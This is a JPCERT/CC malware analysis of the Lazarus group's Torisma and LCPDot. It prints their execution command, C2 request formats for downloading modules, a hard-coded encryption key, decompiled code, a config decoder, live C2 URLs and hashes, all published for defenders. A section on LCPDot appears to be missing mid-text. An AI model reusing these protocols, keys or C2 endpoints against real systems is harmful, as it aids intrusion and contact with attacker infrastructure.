

Operation Dream Job by Lazarus - JPCERT/CC Eyes

By 朝長 秀誠 (Shusei Tomonaga)

Published: 2021-01-25 · Archived: 2026-04-05 15:57:51 UTC

Lazarus (also known as Hidden Cobra) is known to use various kinds of malware in its attack operations, and we have introduced some of them in our past articles. In this article, we present two more; Torisma and LCPDot.

Torisma overview

Torisma downloads and executes modules from external servers, and its infection spreads via malicious Word files [\[1\]](#). Torisma samples that JPCERT/CC has analysed are DLL files and executed as an argument of rundll32.exe. Below is an example of a command argument for Torisma execution.

```
"C:\Windows\System32\rundll32.exe" C:\ProgramData\US0Shared\usosqlite3.dat,sqlite3_create_functionex
```

By giving a key to decode internal data (mssqlite3_server_management) to export function ("sqlite3_create_functionex" in this example), the malware performs suspicious functions. Torisma's configuration, communication protocol and modules are described in the following sections.

Torisma configuration

Torisma loads C2 servers and other information from a separate file, which is located in the following directory: (Some samples do not load configuration files.)

- %LOCALAPPDATA%\IdentityService\AccountStore.bak

The configuration file has a 12-byte signature (0x98 0x11 0x1A 0x45 0x90 0x78 0xBA 0xF9 0x4E 0xD6 0x8F 0xEE) at the beginning. File contents will be loaded upon execution only if the signature matches the above value. Figure 1 is a sample of the configuration.

```

00000000 98 11 1a 45 90 78 ba f9 4e d6 8f ee 00 3c 00 00 |...E.x..N....<..|
00000010 00 00 00 00 00 9f c2 89 5f 05 00 00 00 19 00 00 |.....i_.....|
00000020 00 bf 84 49 e1 67 9c 11 36 e4 32 94 77 dc 88 5d |...I.g..6.2.w..|
00000030 a2 ef 91 86 42 8c ae 37 b4 f2 a1 81 3c 85 c6 67 |...B..7....<..g|
00000040 e0 f9 7d 59 20 ef 0a 59 bd 62 32 99 b4 7d d1 c7 |..}Y..Y.b2..}|..|
00000050 c2 19 74 38 23 20 cd 9b 64 96 57 7b 10 6b cb fe |..t8#..d.W{.k..|
00000060 e0 79 12 52 36 de 8f 0c ae d1 cd d7 99 21 2c 63 |.y.R6.....!..c|
00000070 97 82 14 44 c9 4b 53 ec ac 2a bc 90 f9 ec 36 af |...D.KS.*...6..|
00000080 e4 8e 13 d4 b9 5a ad 00 00 00 00 00 00 00 00 |.....Z.....|
00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |.....|
*
00000220 00 00 00 bf 84 49 e1 67 9c 11 36 e4 32 94 77 dc |.....I.g..6.2.w.|
00000230 88 5d a2 e7 91 83 42 91 ae 20 b4 fa a1 92 3c 85 |.]....B.. ..<..|
00000240 c8 78 d0 01 f9 5d 53 eb e7 11 25 13 5c e4 99 cb |.x...]S...%.$...|
00000250 b3 1e 1e 50 37 91 38 83 98 b4 26 e6 6f 8b 2f 7e |...P7.8...&.o/~|
00000260 ef ec 49 9e 50 86 b0 1a 21 7a c2 81 e1 2c a7 07 |..I.P...!z....|
00000270 e7 15 84 97 09 48 2c 68 6d 5a db d7 60 42 fb 30 |.....H,hmZ..`B.0|
00000280 36 57 c5 00 00 00 00 00 00 00 00 00 00 00 00 |6W.....|
00000290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |.....|
*
00000420 00 00 00 00 00 bf 84 49 e1 67 9c 11 36 e4 32 94 |.....I.g..6.2.|
00000430 77 dc 88 5d a2 ef 91 86 42 8c ae 37 b4 f2 a1 81 |w..]....B..7....|
00000440 3c 85 c6 67 e0 f9 7d 59 20 ef 0a 59 bd 62 32 99 |<..g..}Y..Y.b2..|
00000450 b4 7d d1 c7 c2 19 74 38 23 20 cd 9b 64 96 57 7b |.}....t8#..d.W{|
00000460 10 6b cb fe e0 79 12 52 36 de 8f 0c ae d1 cd d7 |.k...y.R6.....|
00000470 99 21 2c 63 97 82 14 44 c9 4b 53 ec ac 2a bc 90 |.!.c...D.KS.*..|
00000480 f9 ec 36 af e4 8e 13 d4 b9 5a ad 00 00 00 00 00 |..6.....Z.....|
00000490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |.....|
*
00000620 00 00 00 00 00 00 00 bf 84 49 e1 67 9c 11 36 e4 |.....I.g..6..|
00000630 32 94 77 dc 88 5d a2 e7 91 83 42 91 ae 20 b4 fa |2.w..]....B.. ..|
00000640 a1 92 3c 85 c6 78 d0 01 f9 5d 53 eb e7 11 25 13 |..<..x...]S...%..|
00000650 5c e4 99 cb b3 1e 1e 50 37 91 38 83 98 b4 26 e6 |$.P7.8...&..|
00000660 6f 8b 2f 7e ef ec 49 9e 50 86 b0 1a 21 7a c2 81 |o/~..I.P...!z..|
00000670 e1 2c a7 07 e7 15 84 97 09 48 2c 68 6d 5a db d7 |,.....H,hmZ..|
00000680 60 42 fb 30 36 57 c5 00 00 00 00 00 00 00 00 |`B.06W.....|
00000690 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |.....|
*
00000c20 00 00 00 00 00 00 00 00 00 00 00 00 66 00 00 |.....f..|
00000c30 00 60 00 00 00 66 00 00 00 60 00 00 00 00 00 |.`...f...`.....|
00000c40 00 00 00 00 00 01 00 00 00 01 00 00 00 48 00 49 |.....H.I|
00000c50 00 31 00 38 00 38 00 39 00 00 00 00 00 00 00 |.1.8.9.....|
00000c60 00 00 00 00 00 00 00 |.....|
00000c67

```

Figure 1: Torisma configuration sample

The configuration file contains C2 server and other information. (See Appendix A for details.)

Torisma communication with C2 servers

Below is an example of a HTTP POST request that Torisma sends at the beginning of the communication.

```

POST /[PATH] HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: */*
Connection: Keep-Alive
Content-Length: [Length]
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0
Host: [Server]
Cache-Control: no-cache

```

```
ACTION=VIEW&PAGE=[MAC Address]&CODE=[random numeric]&CACHE=[Base64 data]REQUEST=[random numeric]
```

[Base64 data] contains a C2 server URL, MAC address and other information. (Please see Appendix B for the details of the data format.) If the following input is received as a response to the HTTP POST request, Torisma sends the second request.

```
Your request has been accepted. ClientID: {f9102bc8a7d81ef01ba}
```

This is the second HTTP POST request.

```
POST /[PATH] HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: */*
Connection: Keep-Alive
Content-Length: [Length]
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0
Host: [Server]
Cache-Control: no-cache

ACTION=PREVPAGE&CODE=C[random numeric]&RES=[random numeric]
```

As a response to this request, an encrypted and Base64-encoded module ("+" is replaced by a space) is downloaded. Torisma uses VEST-32 algorithm [2] for encryption. In the samples confirmed by JPCERT/CC, the encryption key was identical, which was "ff7172d9c888b7a88a7d77372112d772" (as in Figure 2). This encryption algorithm is also used for encrypting C2 server information in the configuration.

```

1  __int64 __fastcall mal_config_vest_decode(__int64 notuse, void *decode_data, unsigned int deata)
2  {
3      void *size; // [rsp+20h] [rbp-88h]
4      void *v5; // [rsp+30h] [rbp-78h]
5      HLOCAL *key; // [rsp+38h] [rbp-70h]
6
7      v5 = operator new(0x14ui64);
8      if ( v5 )
9          key = (HLOCAL *)myalloc((__int64)v5);
10     else
11         key = 0i64;
12     size = operator new(deata + 4);
13     memset(size, 0, deata + 4i64);
14     ECRYPT_AE_keysetup(key, "ff7172d9c888b7a88a7d77372112d772", 0x20u);
15     ECRYPT_vest_decode((__int64)key, (__int64)decode_data, (__int64)size, deata);
16     memset(decode_data, 0, deata);
17     memcpy(decode_data, size, deata);
18     if ( size )
19         _j_j__free_base(size);
20     if ( key )
21         myfree(key, 1);
22     return 10291i64;
23 }
```

Figure 2: Torisma's VEST-32 encryption key

Torisma modules

Torisma performs various functions by downloading and executing additional modules. They are provided in the executable code format as in Figure 3, not PE format.

Below is an example of a HTTP POST request that LCPDot sends at the beginning of the communication.

```
POST /[URL] HTTP/1.1
Accept: text/html
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Cookie: SESSID=[Base64 data]
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: [Host]
Content-Length: [Size]
Connection: Keep-Alive
Cache-Control: no-cache

Cookie=Enable&CookieV=[random numeric]&Cookie_Time=64
```

[Base64 data] contains the encoded value of “[ID]-101010”. ([ID] is a unique value for the entire communication.

) If the following input is received as a response to this request, LCPDot sends the second request.

```
Authentication Success
```

This is the second HTTP POST request.

```
GET /[URL] HTTP/1.1
Accept: text/html
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
Cookie: SESSID=[Base64 data]
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: [Host]
Content-Length: [Size]
Connection: Keep-Alive
Cache-Control: no-cache
```

[Base64 data] contains the encoded value of "[ID]-101011". As a response to this request, a RC4-encoded module is downloaded. The encryption key is the SHA1 hash value of the value specified either in the sample or in the option "-p" upon execution.

The function of the module is unknown as no module could be obtained during the analysis. It was at least confirmed that it includes functions to disguise the data as a GIF image (Figure 4).

```

181 while ( !v8 );
182 v9 = ~v6;
183 if ( a1->flag_unknown )
184 {
185     if ( v9 != 1 && a1->id )
186     {
187         v10 = "%d-202021";
188         goto LABEL_11;
189     }
190 }
191 else if ( v9 != 1 && a1->id )
192 {
193     v10 = "%d-101012";
194 LABEL_11:
195     wsprintfA(&v170, v10);
196     goto LABEL_12;
197 }
198 LABEL_12:
199     hRequest = 0i64;
200     strcpy((char *)&v17, "GIF89a");
201     *((_QWORD *)&v17 + 1) = 0xE60027i64;
202     v18 = 0xD8F7B9B2FFFFFFFui64;
203     v19 = 0xDEE7E5F9E8E6FADBui64;
204     v20 = 0x7161D47263DD7263i64;
205     v21 = 0x95E99A8FE7968AE5ui64;
206     v22 = 0x5CA69CF5A096F00Fui64;

```

Figure 4: Code to disguise data that LCPDot sends as GIF image

LCPDot configuration

LCPDot contains its configuration in itself. (In some samples, the configuration needs to be specified with the option "-s" when executed.) C2 server information is encoded with XOR+Base64. Below is an example of Python script to decode the C2 server information.

```

decoed_base64_data = base64.b64decode(encode_data)

for i in decoed_base64_data:
    print chr(((ord(i) ^ 0x25) - 0x7a))

```

LCPDot saves configuration data including C2 servers in a separate file. There are some patterns in the location of the file, such as:

- %TEMP%\%.¥.¥Thumbnails.db
- %TEMP%\%.¥.¥ntuser.log1

The configuration data is RC4-encrypted. The encryption key is the SHA1 hash value of the value specified either in the sample or in option "-p" upon execution. Figure 5 is an example of decoded configuration.

```

00000000 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |.....|
00000010 00 00 00 00 e4 07 09 00 03 00 10 00 11 00 22 00 |.....".|
00000020 1f 00 5b 01 00 00 00 00 00 00 00 0e 74 1c 00 |..[.....t..|
00000030 88 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 |h.t.t.p.s.:././|
00000040 76 00 65 00 67 00 61 00 2e 00 6d 00 68 00 2d 00 |v.e.g.a...m.h.-|
00000050 74 00 65 00 63 00 2e 00 6a 00 70 00 2f 00 2e 00 |t.e.c...j.p./...|
00000060 77 00 65 00 6c 00 6c 00 2d 00 6b 00 6e 00 6f 00 |w.e.l.l.-.k.n.o.|
00000070 77 00 6e 00 2f 00 69 00 6e 00 64 00 65 00 78 00 |w.n./i.n.d.e.x.|
00000080 2e 00 70 00 68 00 70 00 00 00 00 00 00 00 00 00 |..p.h.p.....|
00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |.....|
*
00000110 00 00 00 00 00 00 00 00 c6 ed d8 d1 fd 7f 00 00 |.....|
00000120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |.....|
*
00000140 00 00 00 00 00 00 00 00 30 ad d6 d1 fd 7f 00 00 |.....0.....|
00000150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |.....|

```

Figure 5: Example of decoded configuration

In closing

This article provided details of malware that Lazarus group uses during and after the intrusion. To date, this group has used various kinds of malware besides the two covered in this article. We will provide an update when we find new types of malware.

C2 servers connected to the samples described in this article are listed in Appendix C. Please make sure that none of your devices is communicating with them.

Shusei Tomonaga
 (Translated by Yukako Uchida)

Reference

[1] McAfee: Operation North Star: Behind The Scenes
<https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/>

[2] ECRYPT: VEST
<https://www.ecrypt.eu.org/stream/vest.html>

Appendix A: Torisma configuration

Table A: List of configuration

Offset	Description	Remarks
0x000	Signature	0x98 0x11 0x1A 0x45 0x90 0x78 0xBA 0xF9 0x4E 0xD6 0x8F 0xEE
0x00d	Time	
0x011	-	
0x015	Drive check time	
0x01D	Sleep time	

0x021	C2 server * 6	Size 0x202 (VEST-32 encrypted)
0xC2D	C2 server size * 6	Size 0x4
0xC45	Disc drive flag	Whether to count the number of disc drives
0xC49	WTSActive flag	Whether to count the number of logon users
0xC4D	ID	

Appendix B: Data sent by Torisma

Table B: Format of data sent

Offset	Length	Contents
0x000	0x400	URL
0x400	0x18	MAC address of infected host
0x418	0xC	Random string
0x424	8	ID
0x434	4	Numeric value
0x438	4	"2"

Appendix C: C2 servers

- <https://www.commodore.com.tr/mobiquo/appExtt/notdefteri/writenote.php>
- <https://www.fabianiarte.com/newsletter/arte/view.asp>
- <https://www.scimpex.com/admin/assets/backup/requisition/requisition.php>
- <https://akramportal.org/public/voice/voice.php>
- <https://inovecommerce.com.br/public/pdf/view.php>
- <https://www.index-consulting.jp:443/eng/news/index.php>
- <http://kenpa.org/yokohama/main.php>
- <https://vega.mh-tec.jp:443/.well-known/index.php>
- <http://www.hirokawaunso.co.jp/wordpress/wp-includes/ID3/module.audio.mp4.php>
- <https://ja-fc.or.jp/shop/shopping.php>
- <https://www.leemble.com/5mai-lyon/public/webconf.php>
- <https://www.tronslog.com/public/appstore.php>
- https://mail.clicktocareers.com/dev_clicktocareers/public/mailview.php

Appendix D: Malware hash value

Torisma

- 9ae9ed06a69baa24e3a539d9ce32c437a6bdc136ce4367b1cb603e728f4279d5
- f77a9875dbf1a1807082117d69bdbdd14eaa112996962f613de4204db34faba7
- 7762ba7ae989d47446da21cd04fd6fb92484dd07d078c7385ded459dedc726f9

LCPDot

- 0c69fd9be0cc9fadacff2c0bacf59dab6d935b02b5b8d2c9cb049e9545bb55ce
- a9334efa9f40a36e7dde7ef1fe3018b2410cd9de80d98cf4e3bb5dd7c78f7fde
- ba57f8fcb28b7d1085e2e5e24bf2a463f0fa4bbbeb3f634e5a122d0b8dbb53cc

Source: https://blogs.jpCERT.or.jp/en/2021/01/Lazarus_malware2.html